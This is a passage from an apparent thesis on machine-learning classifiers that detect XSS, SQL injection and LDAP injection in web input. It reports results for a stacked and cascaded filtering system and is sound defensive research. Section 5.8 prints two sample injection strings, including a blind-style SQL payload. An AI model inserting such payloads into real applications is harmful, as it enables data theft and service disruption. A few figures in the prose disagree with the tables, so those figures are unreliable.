Table 5.6 shows the multi-class neural network classifier accuracy, which was 99.49%. The results show a decline across all the evaluation criteria, as compared with single-class classifiers. The multi-class classifier achieved a precision rate of 99.75% in relation to XSS instances, as compared to 99.86% for the single-class classifier. The former achieved 99.19% in relation to SQL-i instances, as compared to 99.50% for the single-class classifier. However, the worst result yielded by multi-class classification, here, was with respect to LDAP instances; this classifier achieved a 71.73% precision as compared to 99.13% for the single-class classifier. The confusion matrix shows the details of the classifications; it should be noted that

the high levels of misclassifications are evident in relation to all types of attacks, e.g., some of XSS instances are classified as SQL-i and LDAP, and similar errors were recorded with respect to the remaining types of attack. From this matrix it can also be observed that a small number of malicious instances were classified as benign, although most of the misclassification occurred by the system classifying one kind of attacks as another type of attack.

5.7 Timing Performance

Timing is an important element of a classifiers' performance. When building a classifier system, one of the primary goals is to construct a predictive model which yields its results quickly with the minimum use of computing resources. Therefore, the time taken by each multi-class classifier to classify the attacks has been calculated. The timing was calculated using a device with specifications mentioned in Table 4.6, in addition to that, the timed experiments were performed using MatLab.

Classifier/Folds	1st/Sec	2nd/Sec	3rd/Sec	4th/Sec	5th/Sec	Avrage/Sec
SVM-L	0.1731	0.1098	0.1228	0.1060	0.1096	0.1243
SVM-P	0.3085	0.3048	0.3632	0.3132	0.3063	0.3192
k-NN	31.2627	29.4054	33.9450	30.4406	29.8887	30.9885
RF	0.8761	0.7871	0.6994	0.5884	0.6084	0.7119
NN	0.0786	0.0692	0.0707	0.0699	0.0695	**0.0716**

Table 5.7 Multi-Class Classifiers Performance Timing

Table 5.7 shows the time it took for each classifier to classify the testing dataset. It can be observed that the fastest classifier is neural network, it took 0.0716 seconds for classification. In contrast, the k-NN classifier took a long time to predict the data, which took 30.9885 seconds to finish the classification.This is because the k-NN classifier in order to classify a new instance needs to scan the entire training dataset to calculate the distance with the nearest neighbour.

5.8 Discussion

From the results yielded by the multi-class classifiers, it is clear that such classifiers have a good ability to classify attacks against web applications, since all these classifiers achieved an accuracy rate of more than 99% in this regard. Such a result indicates that they (these classifiers) can be used as a means to defend Web applications against such attacks. In addition, it can be observed from the confusion matrices that most of these classifiers have a strong ability to classify XSS attacks, with only a small number of misclassifications pertaining here, and such attacks are the focus of this thesis. Moreover, multi-class classifiers could be seen to achieve a high rate of detection of SQL attacks as most of them yielded only a small number of cases where SQL injections were classified as benign instances. In the case of LDAP instances, the classification abilities of these multi-class classifiers was acceptable, since most LDAP instances were classified as malicious in one way or another. The random forest classifier may be at least partially relied upon as a security layer to be placed between client and server as it returned the highest accuracy rate; such a layer would examine inputs and classify them as either benign or as one of the three types of attack. The selection of the random forest classifier, in particular, as a system which could be relied on for this task was made on the basis of a security perspective. This classifier took only 0.6600 seconds to perform the classification, and furthermore it yielded the best classification accuracy among all classifiers. The number of false positives yielded by each classifier has also been taken into account in relation to this choice.

The misclassification which could be ascribed to the multi-class classifiers were due to two main causes. In the case of misclassified XSSs, these were due to the similarity of such scripts to normal text, and in relation to this it was noted that the misclassification within the multi-class classifier occurred when it was processing long scripts, which did not have a sufficiently large ratio of script-like features. These long scripts tended to contain a large number of letters which made the ratio of letters and readable text to other text quite large. The second reason that misclassification occurred with respect to instances of SQL-i and LDAP is the similarity in the

structures of these two types of injection, since both types use SQL statements in their attacks [31]. An example of the type of similarity which occurs between SQL-i and LDAP is the similarity found in relation to their non-alphanumeric features.

```
ldapQuery = and 8514=(select count(*) from domain.domains as
t1,domain.columns as t2,domain.tables as t3) and (4666=4666

sqlQuery = select (case when (4587=4587) then regexp_substring
(repeat(left(crypt_key(char(65)||char(69)||char(83),null),0)
,500000000),null) else char(76)||char(65)||char(102)||char(72)
 end) from (values(0)))
```

Moreover, in the case of multi-class classifiers, the misclassifications may have been related to the classifier optimizations used since the same optimization was employed as applied to the single-class detection of XSS attacks. In addition, the dataset was quite varied in terms of the numbers of the different types of instances and the tallies of the different features used across all instances. The smallness of the LDAP subset, in particular, was one of the factors influencing misclassification

One means by which to improve classifier performance which can be suggested is to optimize the classifier in relation to the dataset that was employed for training. Furthermore, single-class classifiers can be used sequentially and so the input data can be checked by three separate classifiers, as each classifier examines a particular type of attack. This is the reason for the fact that the single-class classifiers have a higher accuracy rate than the multi-class classifier. Another way to improve multi-class performance is to deepen the extraction of features, especially in relation to differentiating between SQL-i and LDAP; this could be achieved by, for instance, assigning values to the features other than just 0,1. These solutions are not available now. Time would be needed to design and implement them; thus this might be a valuable area for future work to improve the performance of multi-class classifiers.

5.9 Summary

In this chapter, the purpose of, and the motivation for, creating multi-class classifiers is discussed. Then, the dataset that was used to train, and then to test the performance of, the multi-class classifiers was described. Furthermore, the features that were employed in the training of the classifiers (to detect the types of injection attack) were explained. The classifiers' performance results were reviewed in detail with an analysis of each classifier's performance. In addition, the process-time performance of each classifier was presented for each of the multi-class classifiers. Suggestions and solutions were provided in relation to increasing the accuracy of the classifiers.

It can be concluded from this chapter that the extracted features and their representation as Boolean had a great impact on detecting injection attacks. The accuracy was greater than 99% for all the classifiers, in addition to this precision rates achieved more than 99% except for the SVM with polynomial kernel when detecting the XSS where it achieved 98%.

It can be noted that the results of the comparison of the multi-class classifiers with the single classifiers achieve close results, as the single classifiers achieved results of more than 99%. This gives an indication that the non-alphanumeric features can be a base that can be used to classify web application attack types

Chapter 6

Combining Classifiers and Ensemble Techniques

6.1 Introduction

In Chapter 4 the creation of classifiers was discussed, along with the methods available for tuning them in order to achieve the best classification results. Preliminary results yielded by the classifiers constructed for this research were presented and evaluated, using two methods: cross validation and the simulation of real-world attacks via the holdout method. This chapter gives an overview of the ensemble techniques with the methods which can be used in relation to this. The ensemble technique will be the basis of the experiments described in this chapter. In addition, this chapter will highlight the work which used this technique in an implementation of an intrusion detection system - so demonstrating the ensemble technique's effectiveness. The purpose of this chapter is to exhibit the methods we have found for increasing the accuracy of classifiers in detecting XSS attacks. These methods involve the use of the ensemble technique and also of cascading classifiers, the latter for filtering the classification. These methods are compared with classifiers that do not rely on these techniques. Section 6.4 details a proposed system which is based on the idea of using the ensemble technique and cascading classifiers for detecting XSS attacks. This work has, in part, been published previously [131], but there are

some differences between the two approaches which will be examined in the later sections of this chapter. The new approach - as proposed here - constitutes one of the contributions to this thesis and is aimed at improving classifier performance in relation to the detection of XSS attacks. Section 6.8 presents the results of the evaluation of the classifiers employed within the proposed system; this evaluation used cross validation and holdout methods. In addition Section 6.9 presents the performance related findings regarding these classifiers which led to the choice of meta classifier. Section 6.10 shows the proposed system performance in terms of real-world problems. Section 6.11 looks at the performance of the system in relation to speed; this evaluation assisted with the choice vis-a-vis the best classifier to use as a meta classifier.

This work has been published in the International Joint Conference on Computational Intelligence conference (IJCCI 2018), titled Preventing Cross-Site Scripting Attacks by Combining Classifiers [131].

6.2 Ensemble Techniques Overview

Ensemble techniques can be defined as those which combine multiple models in order to produce more stable, accurate and powerful predictive results than using a single model would [145]. Moreover, ensemble techniques have proved successful; for example, the winner of the Netflix competition [170] implemented a powerful filtering algorithm by using an ensemble method, while the winner of KDD 2009 also used ensemble methods [141]. A wide range of ensemble-based algorithms have been developed under different names: bagging [25], random forests, composite classifier systems [45]; mixture of expert systems [87, 91]; stacked generalization; consensus aggregation [208]; combination of multiple classifiers; [215], dynamic classifier selection; [211], classifier fusion; [23], committee of neural networks; [50], classifier ensembles; [112]; and others. The most prominent, widely used, ensemble algorithms will be reviewed here. These are:

6.2.1 Bagging

This is also called Bootstrap Aggregation [25, 47], Bagging creates a series of instances of the same type of classifier, each one built by independently training it on a random sample of the training dataset. The overall classification is achieved by combining the results of the instances; for example, by majority voting. This method is suitable for high variance with low bias models.

6.2.2 Boosting

This is a class of iterative approaches to generating a classifier. An initial classifier is developed, and then subsequent classifiers are trained to avoid misclassifications which have occurred in previous iterations [32]. The ensembles of weak classifiers used by boosting methods are suitable for high bias with low variance models.

6.2.3 Stacking

This is also called stacked generalization; [208] combined multiple classification models by using a number of different learning algorithms in order to train different base level models. This construction of the base level is the first phase in the stacking process; the second phase is to use the outputs from the first phase classifiers as the input to another, independent, classifier which performs the final classification. The base level uses a standard dataset of examples, abstracted to feature vectors and class labels, to build the classifiers. The meta classifier of the second phase of the stacking process uses the outputs of the base level classifiers to build its training dataset, the base level outputs being features [53, 218]. Figure 6.1 shows the workflow of the stacking method

The approach employed in the present research takes advantage of the stacking method; here, it will be used in order to increase the accuracy and precision rates in relation to distinguishing between malicious and benign scripts in the user inputs. With the aim of filtering inputs, cascading classifiers will also be used. Cascading generalization [66] is a means of combining classifiers; the output of the first classifier

Fig. 6.1 Ensemble Stacking Method [185]

will be used as an input to the next classifier [219], and so on for as many classifiers as considered appropriate.

In the system proposed here, concatenating several classifiers in a cascade has been used to improve classification accuracy and to filter the inputs [13]. The method adopted is stacked combining; all the classifiers used in this research will be employed to classify the same dataset, containing, of course, the same features.

6.3 Ensemble Techniques in Intrusion Detection Systems

Ensemble techniques, including cascading and stacking, have been used in a number of contexts for preventing the exploiting of vulnerabilities in networks or web applications. This section provides a brief overview of relevant work using multiple classifiers.

Cascaded classifiers are employed in [101] to detect network intrusion. A first classifier classifies the input as being either Normal, or a Denial of Service or a Probing attack and a second classifier classifies the inputs as being either Normal, or a Remote to Local or a User to Root attacks. This allows the J48 and Bayesian Network (BN) classifiers, which are deployed next, to work with more balanced data, leading to an increase in detection rates (94.8% using J48-BN and 94.2% using BN-J48).

In [212] a multiple-level hybrid classifier made up of sub-classifiers based on either decision trees or Bayesian clustering methods was used to implement an intrusion detection system. The system used four stages of classification, the first three stages distinguished between general types of attack and the final stage classified the attack into specific types. Different features were looked at in each stage. Their approach achieved a 96.80% detection rate.

The stacking of an SVM with 9 other machine learning algorithms (BayesNet, AdaBoost, Logistic, IBK, J48, Random Forest, JRip, OneR and SimpleCart) was studied in the context of intrusion detection systems in [33]. As in the previous works, the NSL-KDD dataset was used. The experiments performed compared the performance achieved by using SVM as a meta-classifier together with each of the other (sub) classifiers, against a benchmark of using an SVM only. The best classifier proved to be SVM stacked with Random Forest, which achieved 97.50% accuracy with 97.60% precision; this was considerably better than using SVM only, which achieved 91.81% accuracy and 91.70% precision.

In [7] a model for detecting attacks against a web server which depended on a HTTP payload structure was proposed. The payload was analysed by five different Hidden Markov Model (HMM) ensembles. The outputs were then used as features for a one-class classifier analysis. The experiments used two datasets containing 'normal' HTTP requests, the first collected from requests sent to the website of the Georgia Tech (GT) company, and the second dataset collected from requests sent to the website of the authors' department at the University of Cagliari (DIEE). The dataset containing attacks came from [155]. The results of the experiment were Area Under the Curve (AUC) averages of 84.7% with the DIEE dataset, and 82.7% with the GT dataset.

A tool called VEnsemble was presented in [69], which used ensemble techniques for Vulnerability Assessment and Penetration Testing (VAPT). VEnsemble works by scanning the target (be it a system, some software, or a network) using a variety of VAPT tools, then converting their outputs to a numerical form - calculating weights based on VAPT tool accuracy and calculating a final result based on majority voting.

6.4 Proposed System

There are often data entry points in web applications which allow the user to enter data via the web application interface. Utilising these points an attacker may be able to insert malicious code into the application and have this stored on the web application server. The proposed system is aimed at checking user input to see whether it is normal text, or a benign script, or a malicious script and in the case where the input is normal text or a benign script allow this to be stored on the server - whilst if the input is a malicious script, it will be quarantined. This will be done by using a combination of classifiers, across two phases. The first phase will determine whether or not the input is normal text or a script. The second phase will determine whether those inputs which were classified as scripts in the first phase are benign or malicious. This second phase will itself be built as a combination of five classifiers.

The novelty of the proposed system is that it is considered one of the first methods to use stacked ensemble technique to detect XSS attacks on the server side. Whereas, this method was used with IDS and was not intended for XSS. The goal of this system is to improve on the accuracy of classifiers which detect XSS attacks, as well as to filter the inputs by only passing scripts to the second phase. The operations of the two phases can be described as follows.

6.4.1 Phase 1: Text Classification

The purpose of this phase is to distinguish whether a user's input text is normal text or a script. A decision tree classifier will be used to determine the type of text entered in these terms. If the type of the data is 'text', then this data will be stored on the application server without any further classification processing being performed. The second phase is only instigated if the entered data is a script; this structure filters the input for the ensemble technique required for determining whether the text is malicious or not.

6.4.2 Phase 2: Script Classification

The purpose of the second phase is to determine whether a script which has been entered at a data input point is malicious or benign. This phase receives the outputs from the first phase; these outputs have already been classified as scripts, otherwise it would not be necessary to classify them as either malicious or benign. This phase is divided into two stages. The first stage is called the base level and the second stage is called the meta stage.

6.4.2.1 Base Level

The base level receives the relevant outputs from the first phase then passes them into five classifiers; these are of the following types: a Support Vector Machine with a linear kernel (SVM-L), a Support Vector Machine with a polynomial kernel (SVM-P), a k-Nearest Neighbour (k-NN) classifier, a Random Forest (RF) classifier, and a Neural Network (NN). The purpose of these classifiers is to classify the scripts as being either malicious or benign, then pass these classifier results to the meta level where they become inputs to the meta classifier.

6.4.2.2 Meta Level

The meta classifier receives the outputs of the five classifiers at the base level; thus, these become the inputs to the meta classifier. The meta classifier then makes the final decision, based on the classifications made by the various classifiers at the base level, regarding whether each input is a malicious or benign script. In the cases where the script is benign, it will be stored in the web application server. In the cases where the script is found to be malicious, then the script will be quarantined and not allowed to access the server. Since the goal of the proposed system is to increase the accuracy of detection of XSS attacks, so all the classifiers namely SVM-L, SVM-P, k-NN, RF, and NN were examined to choose the best accuracy between them to be as a meta classifier.

Figure 6.2 illustrates the proposed system including the two phases.

Fig. 6.2 XSS Preventing System.

This approach, essentially, was published in [131], however there are some differences, here, in terms of the dataset and features used. These differences will be clarified later, section by section. Furthermore, the results yielded by the two versions of the approach will be compared and differences will be discussed.

6.5 Datasets

For this approach, a dataset was utilized which contained two types of instances, normal text instances taken from in Table 3.5 and script instances collected and then stored in XSS dataset in Section 3.3.1. It is, of course, the script instances which can be either malicious or benign. The total instances included in the dataset was 49,218, and these have been used to both train the classifiers and test the system. The difference between this approach and the approach in [131] is that that utilized only 39,095 instances. One important difference resulting from the increased number of instances is the inclusion of a number of SQL-i examples in the training dataset. This makes the dataset more comprehensive and inclusive of more types of scripts – all of these kinds of script could be injected through entry points. The following two sections relate the way in which the dataset was divided, for this approach, into training and test subsets.

6.5.1 Training Datasets

Two datasets were created in order to train the system. The first dataset contained normal text instances, labelled as text and malicious or benign scripts, labelled just as scripts. The second dataset contained only scripts, labelled as either malicious or benign. There was also a meta dataset which was created by the second phase. The following is an explanation of the training datasets used for both phases.

6.5.1.1 Text Dataset

The training dataset created as shown in Table 3.5 was used. This contained 6,000 instances, divided into 3,002 normal text labelled as text and 2,998 scripts simply labelled as script. In [131] a dataset was used that contained 14,999 instances - 4,972 of these were labelled as normal text and 10,027 were labelled as scripts. The text dataset will be used to train the classifier employed in the first phase to distinguish between normal texts and scripts.

6.5.1.2 Script Dataset

In order to train the classifiers in the second phase to distinguish between malicious and benign scripts, an appropriate training dataset was employed – see Section 3.3.1. This contains 19,122 instances (of scripts) divided into 5,150 instances labelled as malicious and 13,972 labelled as benign. In [131] a dataset was used which contained a total of 14,999 scripts, 10,001 of these were either normal texts or benign scripts, and 4,998 of these were labelled as malicious scripts.

6.5.1.3 Meta Dataset

The training dataset for the meta stage was created by using the base-level classifiers' outputs with regard to their training data. The base level classifiers were employed to classify the scripts in the training dataset and so generate outputs which could be used as features in the meta dataset. The scripts were classified as either malicious or benign, then labelled as such to form the training dataset for the meta level. The

purpose of this generated training meta dataset was to train the meta classifier to distinguish between benign and malicious instances from this data presented to the meta level of the second phase.

6.5.2 Testing Dataset

For the purposes of testing the system, a testing dataset was required and thus in Section 3.3.1 was employed; this dataset contained 24,096 instances divided into 10,000 malicious scripts, labelled as malicious and 14,096 benign instances, some of which were normal text, labelled as such, and some of which were benign scripts, labelled as benign.

6.6 Features

Two sets of features were used, one for each phase; text features were used in the first phase to determine whether a user input was a normal text or a script. In the second phase, XSS features were used to differentiate between the malicious and benign scripts; this classification based on XSS features was provided by the base level; the meta-level used these results from the base level to come up with its own final classification (of either benign or malicious) The following will detail the feature sets used for each phase.

6.6.1 Text Features

The features used to differentiate between normal text inputs and scripts are detailed in Table 3.10. These features are used by the first-phase classifier. All of these six features take a value between 0 and 1 - which represents the proportion of the text described by that feature. The same features were used in the approach described in and [131] approach.

6.6.2 Script Features

The features used to differentiate between malicious and benign scripts are detailed in Tables 3.6, 3.7, and 3.8. The number of features used in the approach mooted here is sixty-five; these are divided into two categories, non-alphanumeric features and alphanumeric features. All the features take the value 0 or 1, where 0 represents the non-occurrence of a feature within a script and 1 represents the opposite, the occurrence of a feature within a script. The number of features used is one of the main differences between the approach taken here that taken in [131], where the number of features used was sixty two. The features that have been added for this approach are: Break Line, Alert, and Symbols. These can all be found in Table 3.8. The other difference between this approach and the previous one is the representation of two features, namely the presence of letters and numbers. these features are represented in this approach as by either 0 or 1, but were represented in [131] with values between 0 and 1 (indicating the percentage of the occurrence of such characters within the script).

6.6.3 Meta Features

The meta features used consist of the outputs of the classifiers at the base level. Thus, the number of features employed at the meta level depends directly on the number of classifiers used at the base level; in this specific approach five classifiers were used. Accordingly, the number of features employed at the of meta level was five. Each feature (representing the output of one particular classifier) takes the value either 0 or 1, the reason being that the classifier outputs are (0,1) – for benign or malicious respectively.

6.7 Classifiers

A range of classifiers are used across the two phases of this approach: decision tree classifiers are applied in the first phase only, and SVM-L, SVM-P, k-NN, RF, and NN classifiers are employed at both the base and the meta level of the second phase.

The reason for the use of all these classifier types at the meta level is for the purposes of investigating them in order to discover which classifier type is the best one to use as a meta classifier here. The classifiers were tuned using the training dataset, and the evaluation of the optimised classifiers was performed using five-fold cross validation with respect to the training dataset. The entire training dataset was then employed to train the final choice of classifiers for each phase and these (the classifiers) were then evaluated using the testing dataset. The two phases were then cascaded together.

6.7.1 Text Type Classifier

For the first phase, the text type classification, a Decision Tree (DT) classifier was created by using the training dataset. DT optimization was employed - as described in Section 4.3.1 by tuning the "MaxNumSplits" parameter to control the maximum number of decision splits on a branch to be 2.

6.7.2 Script Type Classifier

Classifiers were optimised in the course of training, leading to the following specific models being used for evaluation. The base level classifiers were optimised as follows: SVM-L was optimised by setting the "BoxConstraint" parameter to 0.5. SVM-P was optimised by setting the "OutlierFraction" parameter to 0.73. k-NN was optimised by setting "NumNeighbors" to 1. RF was optimised by setting the number of trees to 70. NN was optimised by setting the number of hidden units to 10, and the train function to "trainbr". Sections 4.3.2, 4.3.3, 4.3.4, and 4.3.5 detail the classifiers optimisation methods applied. The other difference between the approach taken here and that described in [131] is the setting of the classifiers' parameters; in this previous experiment, the classifiers were optimised by the use of alternative parameters values: SVM-L was optimised by setting the "BoxConstraint" parameter to 0.07; SVM-P was optimised by setting the "OutlierFraction" parameter to 0.1; and Random Forest was optimised by setting the number of trees to 20. The same settings for the neural network and the k-nearest neighbour classifiers were used in both approaches.

Overall, the same settings were used for the meta level classifiers; this was except for the fact that the "NumNeighbors" parameter was increased to 100 for the k-NN classifier. This was as in the [131] approach and was for the purpose of increasing this classifier's accuracy.

6.8 Cross Validation Evaluation

This section presents the results yielded by the evaluation of the classifiers in relation to the training data as regard both approaches and highlights the differences between these approaches. The descriptive statistics are averaged across the five folds cross validation.

6.8.1 Text Type Classification

Table 6.1 presents the results yielded by the DT text classifier employed in the first phase; the results produced by the current approach, in this respect, were better than those achieved by the approach given in [131]. Here, 99.73% accuracy and 99.63% precision rates were achieved. Details of this classifier are provided in Section 4.5.1 and the Table 4.7; the latter includes the confusion matrix for each fold in the cross validation evaluation.

Accuracy	Precision	Sensitivity	Specificity
99.96%	99.96%	99.96%	99.96%

Table 6.1 Decision Tree Text Type Classifier Evaluation.

6.8.2 Script Classification: Base Level

The five base level classifiers, which are of the following types, SVM-L, SVM-P, k-NN, RF, and NN, were each evaluated using a five-fold cross validation and the resultant averages are given in Table 6.2; this demonstrates slightly better results than those which were achieved in [131]. Section 4.5.2 details the results of the cross validation of this approach, in addition to including confusion matrices for each fold.

	Accuracy	Precision	Sensitivity	Specificity
SVM-L	98.83%	96.97%	98.69%	98.89%
SVM-P	99.22%	98.26%	98.82%	99.36%
k-NN	99.47%	98.98%	98.81%	99.62%
RF	99.52%	98.73%	99.49%	99.53%
NN	99.26%	98.63%	98.65%	99.49%

Table 6.2 Base Level Classifiers Evaluation

6.8.3 Script Classification: Meta Level

The five base level classifiers are then stacked. The outputs from the five classifiers provide the features for the meta classifier. Five choices of meta classifier are investigated, the selection being between SVM-L, SVM-P, k-NN, RF, and NN. The results of the evaluations of these five stacked classifiers are given in Table 6.3. The results yielded in this approach are slightly better than the results obtained in [131].

	Accuracy	Precision	Sensitivity	Specificity
SVM-L	99.98%	100%	99.90%	100%
SVM-P	99.98%	100%	99.94%	100%
k-NN	99.97%	100%	99.92%	100%
RF	99.98%	100%	99.94%	100%
NN	99.98%	100%	99.94%	100%

Table 6.3 Meta Level Classifiers Evaluation

6.9 Testing Performance

The final trained classifiers used on the test data were generated by training them on the entire training dataset. These classifiers were then evaluated on the testing dataset – no instance of which had been used in the tuning and training. The aim of conducting this test were to simulate a real world attack, in addition to selecting the best classifier for the role of meta classifier.

6.9.1 Testing the Text Classifier

The final, trained DT classifier for determining text type was tested using the text dataset - which contains both scripts and normal text. The testing dataset that was used to test the decision tree classifier was created as shown in Table 3.5; it consists of 3,000 instances labelled as text and 3,000 instances labelled as script. The difference between this approach and the approach in is that a specifically text-type testing dataset has been used for evaluating the classifier instead of the XSS testing dataset (used for both purposes in [131]). The first stage yielded the results given in Table 6.4. These results are detailed in Section 4.5.1.

Accuracy	Precision	Sensitivity	Specificity	Confusion Matrix		
					Text	Payload
99.96	99.93	100	99.93	Text	2998	2
				Payload	0	3000

Table 6.4 First Phase: Text Classifier Performance

From Table 6.4, the classifier has correctly classified all scripts instances. Interestingly, it has two instances of normal text that have been classified as a script, after re-checking the instances, it was found that all cases contain incomprehensible characters, which are classified as script.

6.9.2 Testing Script Classifiers

All classifiers were tested as described in Section 4.5.2, and the classification details are presented in Tables 4.10, 4.12, 4.14, 4.16, and 4.18. The base level classifiers' performance with respect to the base testing dataset (which includes both scripts and normal text) is summarized in Table 6.5.

The five meta level classifiers, each using the outputs from all the five base level classifiers were tested. The performance of these classifiers is presented in Table 6.6.

From Table 6.6, it can be seen that the best classifier, in terms of accuracy rate, was the neural network classifier which achieved 99.93% accuracy, the second best was the k-NN classifier with an accuracy rate of 99.92%. From the point of view of security, the precision rate must be taken into account; in this regard, the k-NN

	Accuracy	Precision	Sensitivity	Specificity
SVM-L	99.82%	99.89%	99.69%	99.92
SVM-P	99.57%	99.16%	99.80%	99.40%
k-NN	99.90%	99.94%	99.84%	99.95%
RF	99.93%	99.96%	99.89%	99.97%
NN	99.85%	99.86%	99.78%	99.90%

Table 6.5 Base Level Testing Performance

	Accuracy	Precision	Sensitivity	Specificity
SVM-L	99.90%	99.94%	99.84%	99.95%
SVM-P	99.90%	99.94%	99.84%	99.95%
k-NN	99.92%	99.96%	99.85%	99.97%
RF	99.90%	99.94%	99.84%	99.95%
NN	99.93%	99.94%	99.91%	99.95%

Table 6.6 Meta Level Testing Performance

classifier was best, achieving a 99.96% precision, the second best this times was neural network classifier which achieved a 99.94% precision rate. Thus, the k-NN classifier was chosen as the meta classifier to be used the purposed system. In the approach given in [131] SVM with polynomial kernel has chosen as the meta classifier; it achieved a 99.93% accuracy rate and a 99.96% precision rate in that study. The second phase, here, demonstrates the ability of a stacked classifier to classify scripts as malicious or benign, with a 99.92% accuracy rate and 99.96% precision.

6.10 Testing The Entire System

For the purpose of testing the entire cascading system's performance in relation to a simulated real world attack, an XSS testing dataset containing normal text, and malicious and benign scripts was used as input to the first phase – wherein a decision tree is used to classify the data as either text or script. Then, all the inputs classified as a script by the first phase were used in the second phase as inputs. This phase uses a stacking classifier with k-NN as the meta level classifier over the five base level

classifiers - SVM-L, SVM-P, k-NN, RF and NN - in order to determine whether a script is benign or malicious.

Table 6.7 shows the confusion matrix relating to both stages where the rows provide the true classifications and the columns those given by the classifier.

	First Phase	
	Text	Code
Text	4040	56
Code	22	19978

	Second Phase	
	XSS	Benign
XSS	9995	4
Benign	11	10024

Table 6.7 Entire System Confusion Matrix

Compared with the approach discussed in [131], it can be observed that the number of false positive and false negative cases yielded was lower in the present study. This is because there are more instances in the text training dataset than were used before; thus, this contains more examples which can be used to train the decision tree classifier. On the other hand, in relation to the second phase, it can be observed that the classification results are very close. Table 6.8 shows the results relating to the entire system's performance.

	Accuracy	Precision	Sensitivity	Specificity
1st Phase	99.67%	98.63%	99.45%	99.72%
2nd Phase	99.92%	99.96%	99.89%	99.96%

Table 6.8 Entire System Performance

From Table 6.8, it can be observed that the system could distinguish between user inputs - whether normal text or script - with an accuracy rate of up to 99.67% and a precision rate of up to 98.63%. This is lower than that achieved in [131] the approach in that study yielded 99.97% accuracy and 99.85% precision with respect to this.

In the second phase, both approaches achieved the same level of results with accuracy rates of 99.92% and precisions of 99.96%, but this was using two different classifiers: the support vector machine with polynomial kernel classifier was used in [131] and the k-NN classifier was used in this approach. Comparing the end result of the system with the initial results, or in other words with the base level classifiers,

it can be observed that the effect of using the stacked method was to increase the performance of the k-NN classifier. Another observation is that the end result was the same as the result yielded by the random forest at the base level, which is using the ensemble technique.

6.11 Timing Performance

The goal of this work is to create an overall classifier which can be used as a layer between the input entered by the data and its access to the database of a web application. Hence, the classification needs to be executed quickly enough that the performance of the website will not be impacted. To this end, the time taken by the classifiers was looked at. Table 6.9 details the system time taken (in seconds) by each stage when the testing set of 24,096 scripts was classified, as in Section 6.10. This total time includes the time taken by the DT classifier for the first phase, the time taken by each of the base level classifiers to return results, and the time taken by the meta level classifier. The timing for both phases were calculated using a computer with specifications mentioned in Table 4.6, and the timing experiments were performed using Matlab 2018b. Timing was calculated by averaging five experiment execution as shown in Table 6.9.

	Classifer	1st/Sec	2nd/Sec	3rd/Sec	4th/Sec	5th/Sec	Average
Base Level	DT	0.0030	0.0033	0.0052	0.0045	0.0023	0.0037
	SVM-L	0.1228	0.1317	0.1331	0.1263	0.1288	0.1286
	SVM-P	0.1176	0.1121	0.1134	0.1118	0.1182	0.1146
	k-NN	6.4300	6.4659	6.2867	6.3942	6.3495	6.3853
	RF	0.8547	0.9036	0.8816	.8541	0.8358	0.8660
	NN	2.4800e-05	2.3800e-05	2.4700e-05	0.0001	3.5000e-06	**4.13e-05**
Meta Level	SVM-L	0.0033	0.0040	0.0033	0.0034	0.0034	0.0035
	SVM-P	0.0041	0.0038	0.0045	0.0034	0.0046	0.0041
	k-NN	1.2676	0.7973	0.5899	0.5844	0.6452	0.7769
	RF	0.5524	0.4025	0.3763	0.3310	0.3183	0.3961
	NN	1.5890e-04	1.6930e-04	1.7060e-04	1.5320e-04	1.6380e-04	**0.0002**

Table 6.9 Time Performance

The overall time of 8.275 seconds is dominated by the system time usage of the meta k-NN classifier. Whilst the cost, in terms of time, of each classification remains small, k-NN was considerably more expensive than other classifiers. In [131], the

time taken for the two phases was 6.1834 seconds, so the previous approach was quicker than the present one. The reason for this increase was the use of a k-NN classifier twice: as a meta classifier as well as a stacked classifier. This is because k-NN scans all the training datasets for both levels. The reason for this is because the k-NN classifier does not have a training part as other algorithms.

To improve the system time performance the experiment was repeated, but this time the use of k-NN was excluded and the neural network classifier was used as the meta classifier instead. This choice was made because the neural network classifier took very little time to come to its decisions, as is shown in Table 6.9, although it came second place after the k-NN classifier in terms of precision rates, as shown in Table 6.6. After conducting this modified experiment, the same classification results were obtained as those yielded by the use of k-NN. However, there was a difference in the time taken to complete the task. The system, as it was configured without the use of k-NN, finished (both phases) in 1.1131 seconds; this is a significant difference in the time taken to complete the classifications.

In conclusion, the DT classifier gives excellent results for text classification, with an accuracy of 99.67%. The base level classifiers for determining whether an instance is benign or malicious all perform well, and as was conjectured, each of the meta level stacking classifiers improved on the base level results. The final classifiers resulting from the training using the whole training dataset provided strong results when evaluated using the testing dataset (no instances of which were used in the training and tuning of the classifiers) to simulate a real world deployment. All of the base level classifiers yielded over 99% accuracy, precision, sensitivity and specificity. With the base level classifiers already working so well, there is little room for stacking to improve performance; however, a small improvement can be observed, with the all classifiers giving the best results except the RF classifier. NN was used as the meta level classifier in the stacking classifier for end-to-end testing.

The first phase of the cascading classifier, which distinguish between normal text and scripts, yielded a small number of false negatives - which means a number of scripts were classified as text; this is a weakness in the proposed system, and was

caused by the small size of the text training dataset. However, some normal text instances were misclassified as scripts and passed to the second phase. However, as has been established, script classification will correctly classify these instances as benign, so this is not problematic. The second phase, using a stacked classifier with NN at the meta level instead of k-NN, achieved the same results, but there was a significant difference in the time taken to complete the classification process. The proposed system proved its ability to classify user inputs as malicious or benign with high accuracy and precision.

6.12 Summary

In this chapter, an overview of the ensemble technique was first provided. This included an outline of the most important methods used with this technique and an overview of cascading classifiers. Furthermore, previous studies relating to the application of ensemble techniques and the combining of classifiers with intrusion detection systems were looked at. In addition, a detailed explanation of the proposed system for detecting XSS attacks was presented, including an explanation of the phases that are used to differentiate between normal texts, and malicious, and benign scripts. Moreover, the datasets that were used for training the classifiers and testing their performance, including the meta dataset, were described. In addition, the features used for both phases were detailed, including the features relating to both texts and scripts – along with an explanation of the way in which the features for use by the meta classifier were generated. The results of the evaluations, using the cross validation and holdout methods, of the classifiers across both phases were presented. In addition, the results of the entire system test have been presented. The execution time performance of the entire system was presented along with the techniques which could be used to achieve the best performance (of the proposed system).

It can be concluded from this chapter that the stacked ensemble technique has achieved accuracy results very similar to the results of single classifiers. In terms of

cost, the stacking technique is higher than using single classifiers in terms of time. Hence, the use of single classifiers can be preferred over the use of stacking technique. The point to be gained from this chapter is that stacked ensemble technique is one of the first experiments that have been made in detecting XSS attacks.

Chapter 7

Rule Extraction from Black Box Classifiers

7.1 Introduction

